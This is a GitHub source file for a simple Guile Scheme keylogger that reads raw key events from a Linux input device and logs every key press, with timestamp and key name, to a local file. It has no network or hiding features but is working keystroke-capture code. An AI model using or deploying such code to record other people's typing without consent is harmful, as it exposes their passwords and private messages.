keylogger/keylogger.scm at main · padawanphysicist/keylogger · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Simple Keylogger                 ;;
;;                                  ;;
;; Author: Victor Santos            ;;
;; Email: vct.santos@protonmail.com ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(use-modules (ice-9 getopt-long)
             (ice-9 format)
             (srfi srfi-9)
             (system foreign)
             (ice-9 binary-ports)
             (rnrs bytevectors)
             (system foreign-object)
             (ev-codes))

;; Create handler for libinput
(define libinput (dynamic-link "input.so"))

(define* (get bv #:optional (type 'code))
  (let* ((fn (format #f "get_~a" type))
	 (method (pointer->procedure
		  int
		  (dynamic-func fn libinput)
		  '(*))))
    (method (bytevector->pointer bv))))

(define (keylog device-name output-file-name)
  (let* ((log (open-output-file output-file-name))
	     (kbd (open-input-file device-name #:binary #t)))
    (format #t "# [INFO] Reading from device ~a\n" device-name)
    (format log "# time; event; code; key\n")
    (let* ((nbytes 24)
	       (bv (make-bytevector nbytes))
	       (code 0)
	       (quit #f))
      (while (not quit)
	    (get-bytevector-n! kbd bv 0 nbytes)
	    (set! code (get bv))
	    (when (= 1 (get bv 'value)) ;; key press
	      (format log "~a;press;~a;~a\n"
		          (strftime "%c" (localtime (current-time)))
		          code
		          (cdr (assq code event-codes))))
	    ;; Catch Ctrl+C
	    (sigaction SIGINT
	      (lambda (x)
	        (format log "\n# [INFO] Pressed Ctrl+C. Finishing keylogger...\n")
	        (set! quit #t))))
      (close kbd)
      (close log))))

;;;;;;;;;;;;;;;;;;;
;; Main function ;;
;;;;;;;;;;;;;;;;;;;
(define (display-help)
  (display "\
keylogger [options] --input <device>
  -h, --help       Display this help
  -i, --input      Input Device
"))

(define (main args)
  (if (< (length args) 2)
      (display-help)
      (let* ((option-spec '((help  (single-char #\h) (value #f))
                            (input (single-char #\i) (value #t))
                            (output (single-char #\o) (value #t))))
             (options (getopt-long args option-spec))
             (help-wanted? (option-ref options 'help #f)))
        (if help-wanted?
            (display-help)
            (keylog (option-ref options 'input #f) (option-ref options 'output #f))))))